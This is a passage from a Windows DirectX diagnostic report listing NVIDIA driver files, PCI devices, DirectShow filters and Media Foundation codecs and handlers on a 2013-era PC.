Corporation\NVSMI\nvdebugdump.exe, 2/26/2013 00:32:44, 223008 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvidia-smi.1.pdf, 2/26/2013 00:32:40, 40574 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvidia-smi.exe, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 241440 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvml.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 428320 bytes Driver: C:\Program Files\NVIDIA Corporation\OpenCL\OpenCL.dll, 1.00.0000.0000 (English), 2/26/2013 00:32:06, 53024 bytes Driver: C:\Program Files\NVIDIA Corporation\OpenCL\OpenCL64.dll, 1.00.0000.0000 (English), 2/26/2013 00:32:40, 61216 bytes Driver: C:\WINDOWS\system32\DRIVERS\nvlddmkm.sys, 9.18.0013.1106 (English), 2/26/2013 00:32:32, 11036448 bytes Driver: C:\WINDOWS\system32\nvEncodeAPI64.dll, 6.14.0013.1106 (English), 2/26/2013 00:32:36, 420128 bytes Driver: C:\WINDOWS\system32\nvapi64.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:40, 2826040 bytes Driver: C:\WINDOWS\system32\nvcompiler.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:44, 25256224 bytes Driver: C:\WINDOWS\system32\nvcuda.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:06, 9390760 bytes Driver: C:\WINDOWS\system32\nvcuvenc.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:34, 2346784 bytes Driver: C:\WINDOWS\system32\nvcuvid.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 2904352 bytes Driver: C:\WINDOWS\system32\nvd3dumx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:38, 18055184 bytes Driver: C:\WINDOWS\system32\nvinfo.pb, 2/26/2013 00:32:08, 17266 bytes Driver: C:\WINDOWS\system32\nvinitx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:32, 245872 bytes Driver: C:\WINDOWS\system32\nvoglv64.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:36, 26929440 bytes Driver: C:\WINDOWS\system32\nvopencl.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:08, 7564040 bytes Driver: C:\WINDOWS\system32\nvumdshimx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:38, 1107440 bytes Driver: C:\WINDOWS\system32\nvwgf2umx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:26, 15053264 bytes Driver: C:\WINDOWS\SysWow64\nvEncodeAPI.dll, 6.14.0013.1106 (English), 2/26/2013 00:32:28, 364832 bytes Driver: C:\WINDOWS\SysWow64\nvapi.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:44, 2505144 bytes Driver: C:\WINDOWS\SysWow64\nvcompiler.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:24, 17560352 bytes Driver: C:\WINDOWS\SysWow64\nvcuda.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:34, 7932256 bytes Driver: C:\WINDOWS\SysWow64\nvcuvenc.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:08, 1985824 bytes Driver: C:\WINDOWS\SysWow64\nvcuvid.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:36, 2720544 bytes Driver: C:\WINDOWS\SysWow64\nvd3dum.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:42, 15129960 bytes Driver: C:\WINDOWS\SysWow64\nvinit.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:04, 201576 bytes Driver: C:\WINDOWS\SysWow64\nvoglv32.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:26, 20449056 bytes Driver: C:\WINDOWS\SysWow64\nvopencl.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:40, 6262608 bytes Driver: C:\WINDOWS\SysWow64\nvumdshim.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:36, 958120 bytes Driver: C:\WINDOWS\SysWow64\nvwgf2um.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:08, 12641992 bytes Driver: C:\WINDOWS\system32\nvdispco64.dll, 2.00.0029.0004 (English), 2/26/2013 00:32:38, 1814304 bytes Driver: C:\WINDOWS\system32\nvdispgenco64.dll, 2.00.0016.0002 (English), 2/26/2013 00:32:32, 1510176 bytes Name: Xeon(R) processor E3-1200 v2/3rd Gen Core processor PCI Express Root Port - 0151 Device ID: PCI\VEN_8086&DEV_0151&SUBSYS_01511849&REV_09\3&11583659&0&08 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family SATA AHCI Controller Device ID: PCI\VEN_8086&DEV_1E02&SUBSYS_1E021849&REV_04\3&11583659&0&FA Driver: C:\WINDOWS\system32\DRIVERS\iaStorA.sys, 11.07.0000.1013 (English), 11/19/2012 12:10:38, 652344 bytes Name: PCI standard PCI-to-PCI bridge Device ID: PCI\VEN_1B21&DEV_1080&SUBSYS_10801849&REV_03\4&C7A4F95&0&00E5 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 8 - 1E1E Device ID: PCI\VEN_8086&DEV_1E1E&SUBSYS_1E1E1849&REV_C4\3&11583659&0&E7 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Broadcom NetLink (TM) Gigabit Ethernet Device ID: PCI\VEN_14E4&DEV_16B1&SUBSYS_96B11849&REV_10\4&2B8260C3&0&00E4 Driver: C:\WINDOWS\system32\DRIVERS\k57nd60a.sys, 15.04.0000.0009 (English), 8/25/2012 22:11:34, 433976 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 6 - 1E1A Device ID: PCI\VEN_8086&DEV_1E1A&SUBSYS_1E1A1849&REV_C4\3&11583659&0&E5 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) Z77 Express Chipset LPC Controller - 1E44 Device ID: PCI\VEN_8086&DEV_1E44&SUBSYS_1E441849&REV_04\3&11583659&0&F8 Driver: C:\WINDOWS\system32\DRIVERS\msisadrv.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 17136 bytes Name: ASMedia XHCI Controller Device ID: PCI\VEN_1B21&DEV_1042&SUBSYS_10421849&REV_00\4&37A73C8A&0&00E7 Driver: C:\WINDOWS\system32\DRIVERS\asmtxhci.sys, 1.16.0002.0000 (English), 8/20/2012 10:38:12, 416072 bytes Name: Asmedia 106x SATA Controller Device ID: PCI\VEN_1B21&DEV_0612&SUBSYS_06121849&REV_01\4&33B94F4C&0&00E3 Driver: C:\WINDOWS\system32\DRIVERS\asahci64.sys, 1.03.0008.0000 (English), 7/18/2012 11:29:46, 49048 bytes Driver: C:\WINDOWS\system32\ahcipp64.dll, 1.00.0000.0001 (English), 7/8/2011 21:29:04, 48736 bytes Name: Intel(R) Management Engine Interface Device ID: PCI\VEN_8086&DEV_1E3A&SUBSYS_1E3A1849&REV_04\3&11583659&0&B0 Driver: C:\WINDOWS\system32\DRIVERS\HECIx64.sys, 9.00.0000.1287 (English), 1/11/2013 19:02:34, 64624 bytes Name: Intel(R) USB 3.0 eXtensible Host Controller - 0100 (Microsoft) Device ID: PCI\VEN_8086&DEV_1E31&SUBSYS_1E311849&REV_04\3&11583659&0&A0 Driver: C:\WINDOWS\system32\DRIVERS\UCX01000.SYS, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 212208 bytes Driver: C:\WINDOWS\system32\DRIVERS\USBXHCI.SYS, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 337136 bytes Name: Xeon(R) processor E3-1200 v2/3rd Gen Core processor DRAM Controller - 0150 Device ID: PCI\VEN_8086&DEV_0150&SUBSYS_01501849&REV_09\3&11583659&0&00 Driver: n/a ------------------ DirectShow Filters ------------------ DirectShow Filters: WMAudio Decoder DMO,0x00800800,1,1,WMADMOD.DLL,6.02.9200.16384 WMAPro over S/PDIF DMO,0x00600800,1,1,WMADMOD.DLL,6.02.9200.16384 WMSpeech Decoder DMO,0x00600800,1,1,WMSPDMOD.DLL,6.02.9200.16384 MP3 Decoder DMO,0x00600800,1,1,mp3dmod.dll,6.02.9200.16384 Mpeg4s Decoder DMO,0x00800001,1,1,mp4sdecd.dll,6.02.9200.16384 WMV Screen decoder DMO,0x00600800,1,1,wmvsdecd.dll,6.02.9200.16384 WMVideo Decoder DMO,0x00800001,1,1,wmvdecod.dll,6.02.9200.16384 Mpeg43 Decoder DMO,0x00800001,1,1,mp43decd.dll,6.02.9200.16384 Mpeg4 Decoder DMO,0x00800001,1,1,mpg4decd.dll,6.02.9200.16384 DV Muxer,0x00400000,0,0,qdv.dll,6.06.9200.16384 Color Space Converter,0x00400001,1,1,quartz.dll,6.06.9200.16384 WM ASF Reader,0x00400000,0,0,qasf.dll,12.00.9200.16384 AVI Splitter,0x00600000,1,1,quartz.dll,6.06.9200.16384 VGA 16 Color Ditherer,0x00400000,1,1,quartz.dll,6.06.9200.16384 SBE2MediaTypeProfile,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft DTV-DVD Video Decoder,0x005fffff,2,4,msmpeg2vdec.dll,12.00.8500.0000 AC3 Parser Filter,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 StreamBufferSink,0x00200000,0,0,sbe.dll,6.06.9200.16384 MJPEG Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 MPEG-I Stream Splitter,0x00600000,1,2,quartz.dll,6.06.9200.16384 SAMI (CC) Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 MPEG-2 Splitter,0x005fffff,1,0,mpg2splt.ax,6.06.9200.16384 Closed Captions Analysis Filter,0x00200000,2,5,cca.dll,6.06.9200.16384 SBE2FileScan,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft MPEG-2 Video Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 Internal Script Command Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG Audio Decoder,0x03680001,1,1,quartz.dll,6.06.9200.16384 DV Splitter,0x00600000,1,2,qdv.dll,6.06.9200.16384 Video Mixing Renderer 9,0x00200000,1,0,quartz.dll,6.06.9200.16384 Microsoft MPEG-2 Encoder,0x00200000,2,1,msmpeg2enc.dll,12.00.9200.16384 ACM Wrapper,0x00600000,1,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG-2 Video Stream Analyzer,0x00200000,0,0,sbe.dll,6.06.9200.16384 Line 21 Decoder,0x00600000,1,1,, Video Port Manager,0x00600000,2,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00400000,1,0,quartz.dll,6.06.9200.16384 VPS Decoder,0x00200000,0,0,WSTPager.ax,6.06.9200.16384 WM ASF Writer,0x00400000,0,0,qasf.dll,12.00.9200.16384 VBI Surface Allocator,0x00600000,1,1,vbisurf.ax,6.02.9200.16384 File writer,0x00200000,1,0,qcap.dll,6.06.9200.16384 DVD Navigator,0x00200000,0,3,qdvd.dll,6.06.9200.16384 Overlay Mixer2,0x00200000,1,1,, Microsoft MPEG-2 Audio Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 WST Pager,0x00200000,1,1,WSTPager.ax,6.06.9200.16384 MPEG-2 Demultiplexer,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 DV Video Decoder,0x00800000,1,1,qdv.dll,6.06.9200.16384 SampleGrabber,0x00200000,1,1,qedit.dll,6.06.9200.16384 Null Renderer,0x00200000,1,0,qedit.dll,6.06.9200.16384 MPEG-2 Sections and Tables,0x005fffff,1,0,Mpeg2Data.ax,6.06.9200.16384 Microsoft AC3 Encoder,0x00200000,1,1,msac3enc.dll,6.02.9200.16384 StreamBufferSource,0x00200000,0,0,sbe.dll,6.06.9200.16384 Smart Tee,0x00200000,1,2,qcap.dll,6.06.9200.16384 Overlay Mixer,0x00200000,0,0,, AVI Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 AVI/WAV File Source,0x00400000,0,2,quartz.dll,6.06.9200.16384 Wave Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 MIDI Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 Multi-file Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 File stream renderer,0x00400000,1,1,quartz.dll,6.06.9200.16384 Microsoft DTV-DVD Audio Decoder,0x005fffff,1,1,msmpeg2adec.dll,12.00.8506.0000 StreamBufferSink2,0x00200000,0,0,sbe.dll,6.06.9200.16384 AVI Mux,0x00200000,1,0,qcap.dll,6.06.9200.16384 Line 21 Decoder 2,0x00600002,1,1,quartz.dll,6.06.9200.16384 File Source (Async.),0x00400000,0,1,quartz.dll,6.06.9200.16384 File Source (URL),0x00400000,0,1,quartz.dll,6.06.9200.16384 AudioRecorder WAV Dest,0x00200000,0,0,WavDest.dll, AudioRecorder Wave Form,0x00200000,0,0,WavDest.dll, SoundRecorder Null Renderer,0x00200000,0,0,WavDest.dll, Infinite Pin Tee Filter,0x00200000,1,1,qcap.dll,6.06.9200.16384 Enhanced Video Renderer,0x00200000,1,0,evr.dll,6.02.9200.16384 BDA MPEG2 Transport Information Filter,0x00200000,2,0,psisrndr.ax,6.06.9200.16384 MPEG Video Decoder,0x40000001,1,1,quartz.dll,6.06.9200.16384 WDM Streaming Tee/Splitter Devices: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Video Compressors: WMVideo8 Encoder DMO,0x00600800,1,1,wmvxencd.dll,6.02.9200.16384 WMVideo9 Encoder DMO,0x00600800,1,1,wmvencod.dll,6.02.9200.16384 MSScreen 9 encoder DMO,0x00600800,1,1,wmvsencd.dll,6.02.9200.16384 DV Video Encoder,0x00200000,0,0,qdv.dll,6.06.9200.16384 MJPEG Compressor,0x00200000,0,0,quartz.dll,6.06.9200.16384 Audio Compressors: WM Speech Encoder DMO,0x00600800,1,1,WMSPDMOE.DLL,6.02.9200.16384 WMAudio Encoder DMO,0x00600800,1,1,WMADMOE.DLL,6.02.9200.16384 IMA ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 PCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 Microsoft ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 GSM 6.10,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT A-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT u-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 MPEG Layer-3,0x00200000,1,1,quartz.dll,6.06.9200.16384 Audio Capture Sources: Microphone (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 SPDIF Interface (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 Line (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 PBDA CP Filters: PBDA DTFilter,0x00600000,1,1,CPFilters.dll,6.06.9200.16384 PBDA ETFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 PBDA PTFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 Midi Renderers: Default MidiOut Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Microsoft GS Wavetable Synth,0x00200000,1,0,quartz.dll,6.06.9200.16384 WDM Streaming Capture Devices: Plantronics GameCom 780,0x00200000,4,2,ksproxy.ax,6.02.9200.16384 WDM Streaming Rendering Devices: HD Audio SPDIF out,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 HD Audio Speaker,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Plantronics GameCom 780,0x00200000,4,2,ksproxy.ax,6.02.9200.16384 BDA Network Providers: Microsoft ATSC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBS Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBT Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft Network Provider,0x00200000,0,1,MSNP.ax,6.06.9200.16384 Multi-Instance Capable VBI Codecs: VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 BDA Transport Information Renderers: BDA MPEG2 Transport Information Filter,0x00600000,2,0,psisrndr.ax,6.06.9200.16384 MPEG-2 Sections and Tables,0x00600000,1,0,Mpeg2Data.ax,6.06.9200.16384 BDA CP/CA Filters: Decrypt/Tag,0x00600000,1,1,EncDec.dll,6.06.9200.16384 Encrypt/Tag,0x00200000,0,0,EncDec.dll,6.06.9200.16384 PTFilter,0x00200000,0,0,EncDec.dll,6.06.9200.16384 XDS Codec,0x00200000,0,0,EncDec.dll,6.06.9200.16384 WDM Streaming Communication Transforms: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Audio Renderers: Speakers (Plantronics GameCom 780),0x00200000,1,0,quartz.dll,6.06.9200.16384 Default DirectSound Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Default WaveOut Device,0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Speakers (Plantronics GameCom 780),0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Speakers (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Digital Audio (S/PDIF) (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 Speakers (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 Digital Audio (S/PDIF) (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 ---------------------------- Preferred DirectShow Filters ---------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\DirectShow\Preferred] <media subtype GUID>, [<filter friendly name>, ]<filter CLSID> MEDIASUBTYPE_WMAUDIO_LOSSLESS, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_MPG4, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject WMMEDIASUBTYPE_WMSP2, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject MEDIASUBTYPE_WVC1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject {64687664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_h264, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG1AudioPayload, MPEG Audio Decoder, CLSID_CMpegAudioCodec {78766964-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_WMAUDIO3, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_WMV2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MPEG2_AUDIO, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS {64697678-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_MP3, MP3 Decoder DMO, CLSID_CMP3DecMediaObject MEDIASUBTYPE_mp42, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_MSS1, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject MEDIASUBTYPE_WVP2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVP, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV3, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVR, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MJPG, MJPEG Decompressor, CLSID_MjpegDec MEDIASUBTYPE_mp43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject MEDIASUBTYPE_MSS2, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject {64737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec WMMEDIASUBTYPE_WMAudioV8, WMAudio Decoder DMO, CLSID_CWMADecMediaObject {44495658-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_WMSP1, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject MEDIASUBTYPE_RAW_AAC1, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS {6C737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_MP43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject MEDIASUBTYPE_MPEG1Payload, MPEG Video Decoder, CLSID_CMpegVideoCodec MEDIASUBTYPE_AVC1, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS {20637664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec {58564944-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MP42, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_MPEG_ADTS_AAC, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS MEDIASUBTYPE_mpg4, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_M4S2, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_m4s2, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MP4S, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_mp4s, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MPEG1Packet, MPEG Video Decoder, CLSID_CMpegVideoCodec {5634504D-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject {7634706D-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_H264, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG2_VIDEO, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_WMVA, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MSAUDIO1, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_DVD_LPCM_AUDIO, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS MEDIASUBTYPE_MPEG_LOAS, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS --------------------------- Media Foundation Transforms --------------------------- [HKEY_LOCAL_MACHINE\Software\Classes\MediaFoundation\Transforms] <category>: <transform friendly name>, <transform CLSID>, <flags>, [<merit>, ]<file name>, <file version> Video Decoders: Microsoft MPEG Video Decoder MFT, {2D709E52-123F-49B5-9CBC-9AF5CDE28FB9}, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 DV Decoder MFT, {404A6DE5-D4D6-4260-9BC7-5A6CBD882432}, 0x1, mfdvdec.dll, 6.02.9200.16384 Mpeg4s Decoder MFT, CLSID_CMpeg4sDecMFT, 0x1, mp4sdecd.dll, 6.02.9200.16384 Microsoft H264 Video Decoder MFT, CLSID_CMSH264DecoderMFT, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 WMV Screen decoder MFT, CLSID_CMSSCDecMediaObject, 0x1, wmvsdecd.dll, 6.02.9200.16384 WMVideo Decoder MFT, CLSID_CWMVDecMediaObject, 0x1, wmvdecod.dll, 6.02.9200.16384 MJPEG Decoder MFT, {CB17E772-E1CC-4633-8450-5617AF577905}, 0x1, mfmjpegdec.dll, 6.02.9200.16384 Mpeg43 Decoder MFT, CLSID_CMpeg43DecMediaObject, 0x1, mp43decd.dll, 6.02.9200.16384 Mpeg4 Decoder MFT, CLSID_CMpeg4DecMediaObject, 0x1, mpg4decd.dll, 6.02.9200.16384 Video Encoders: Intel® Quick Sync Video H.264 Encoder MFT, {4BE8D3C0-0515-4A37-AD55-E4BAE19AF471}, 0x4, 7, mfx_mft_h264ve_64.dll, 3.12.0010.0031 H264 Encoder MFT, {6CA50344-051A-4DED-9779-A43305165E35}, 0x1, mfh264enc.dll, 6.02.9200.16384 WMVideo8 Encoder MFT, CLSID_CWMVXEncMediaObject, 0x1, wmvxencd.dll, 6.02.9200.16384 WMVideo9 Encoder MFT, CLSID_CWMV9EncMediaObject, 0x1, wmvencod.dll, 6.02.9200.16384 Microsoft MPEG-2 Video Encoder MFT, {E6335F02-80B7-4DC4-ADFA-DFE7210D20D5}, 0x2, msmpeg2enc.dll, 12.00.9200.16384 Video Effects: Frame Rate Converter, CLSID_CFrameRateConvertDmo, 0x1, mfvdsp.dll, 6.02.9200.16384 Resizer MFT, CLSID_CResizerDMO, 0x1, vidreszr.dll, 6.02.9200.16384 VideoStabilization MFT, {51571744-7FE4-4FF2-A498-2DC34FF74F1B}, 0x1, MSVideoDSP.dll, 6.02.9200.16384 Color Control, CLSID_CColorControlDmo, 0x1, mfvdsp.dll, 6.02.9200.16384 Color Converter MFT, CLSID_CColorConvertDMO, 0x1, colorcnv.dll, 6.02.9200.16384 Video Processor: Microsoft Video Processor MFT, {88753B26-5B24-49BD-B2E7-0C445C78C982}, 0x1, msvproc.dll, 12.00.9200.16384 Audio Decoders: Microsoft Dolby Digital Plus Decoder MFT, {177C0AFE-900B-48D4-9E4C-57ADD250B3D4}, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 WMAudio Decoder MFT, CLSID_CWMADecMediaObject, 0x1, WMADMOD.DLL, 6.02.9200.16384 Microsoft AAC Audio Decoder MFT, CLSID_CMSAACDecMFT, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 GSM ACM Wrapper MFT, {4A76B469-7B66-4DD4-BA2D-DDF244C766DC}, 0x1, mfcore.dll, 12.00.9200.16384 WMAPro over S/PDIF MFT, CLSID_CWMAudioSpdTxDMO, 0x1, WMADMOD.DLL, 6.02.9200.16384 Microsoft MPEG Audio Decoder MFT, {70707B39-B2CA-4015-ABEA-F8447D22D88B}, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject, 0x1, WMSPDMOD.DLL, 6.02.9200.16384 G711 Wrapper MFT, {92B66080-5E2D-449E-90C4-C41F268E5514}, 0x1, mfcore.dll, 12.00.9200.16384 IMA ADPCM ACM Wrapper MFT, {A16E1BFF-A80D-48AD-AECD-A35C005685FE}, 0x1, mfcore.dll, 12.00.9200.16384 MP3 Decoder MFT, CLSID_CMP3DecMediaObject, 0x1, mp3dmod.dll, 6.02.9200.16384 ADPCM ACM Wrapper MFT, {CA34FE0A-5722-43AD-AF23-05F7650257DD}, 0x1, mfcore.dll, 12.00.9200.16384 Audio Encoders: MP3 Encoder ACM Wrapper MFT, {11103421-354C-4CCA-A7A3-1AFF9A5B6701}, 0x1, mfcore.dll, 12.00.9200.16384 WM Speech Encoder DMO, CLSID_CWMSPEncMediaObject2, 0x1, WMSPDMOE.DLL, 6.02.9200.16384 Microsoft MPEG-2 Audio Encoder MFT, {46A4DD5C-73F8-4304-94DF-308F760974F4}, 0x1, msmpeg2enc.dll, 12.00.9200.16384 WMAudio Encoder MFT, CLSID_CWMAEncMediaObject, 0x1, WMADMOE.DLL, 6.02.9200.16384 Microsoft AAC Audio Encoder MFT, {93AF0C51-2275-45D2-A35B-F2BA21CAED00}, 0x1, mfAACEnc.dll, 6.02.9200.16384 Microsoft Dolby Digital Encoder MFT, {AC3315C9-F481-45D7-826C-0B406C1F64B8}, 0x1, msac3enc.dll, 6.02.9200.16384 Audio Effects: AEC, CLSID_CWMAudioAEC, 0x1, mfwmaaec.dll, 6.02.9200.16384 Resampler MFT, CLSID_CResamplerMediaObject, 0x1, resampledmo.dll, 6.02.9200.16384 Multiplexers: Microsoft MPEG2 Multiplexer MFT, {AB300F71-01AB-46D2-AB6C-64906CB03258}, 0x2, mfmpeg2srcsnk.dll, 12.00.9200.16384 Others: Microsoft H264 Video Remux (MPEG2TSToMP4) MFT, {05A47EBB-8BF0-4CBF-AD2F-3B71D75866F5}, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 -------------------------------------------- Media Foundation Enabled Hardware Categories -------------------------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Media Foundation\HardwareMFT] EnableEncoders = 1 ------------------------------------- Media Foundation Byte Stream Handlers ------------------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Media Foundation\ByteStreamHandlers] [HKEY_LOCAL_MACHINE\Software\Classes\MediaFoundation\MediaSources\Preferred] <file ext. or MIME type>, <handler CLSID>, <brief description>[, Preferred] .3g2, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gp, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gp2, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gpp, 